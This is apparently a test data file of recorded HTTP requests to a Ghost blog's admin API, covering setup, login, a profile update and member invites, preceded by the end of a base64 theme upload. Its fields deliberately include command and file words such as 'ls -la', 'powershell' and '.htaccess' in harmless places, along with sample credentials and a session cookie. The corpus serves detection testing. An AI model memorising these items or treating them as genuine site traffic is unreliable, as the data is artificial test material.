qMJGIdBMLewUyMpgv4zsSt/fCwPSweTxzJlaKur0IE9isdQ8rsNa+09jTwTP3XdBFz1jVVvirdKn8gImt4SIk1rNgtHfXhH1BLAQIeAwoAAAAAAM9la10AAAAAAAAAAAAAAAAMABgAAAAAAAAAEAD9QQAAAABub3Rlcy10aGVtZS9VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdXfnn43sAAACmAAAAFQAYAAAAAAABAAAAtIFGAAAAbm90ZXMtdGhlbWUvaW5kZXguaGJzVVQFAAOmY/RqdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAGAAAAAAAAAAQAP1BEAEAAG5vdGVzLXRoZW1lL3BhcnRpYWxzL1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la11tuH02lQAAAPgAAAAUABgAAAAAAAEAAAC0gV8BAABub3Rlcy10aGVtZS9wYWdlLmhic1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la12OG0f8uAAAAAcBAAAYABgAAAAAAAEAAAC0gUICAABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAYAAAAAAABAAAAtIFMAwAAbm90ZXMtdGhlbWUvcG9zdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdlpKCV4sAAADBAAAAFwAYAAAAAAABAAAAtIEvBAAAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwUGAAAAAAcABwB3AgAACwUAAAAA\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
# The requests below were sent to Ghost by a script with the admin's or a
# member's headers. They hold words that name commands and files in more fields.
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
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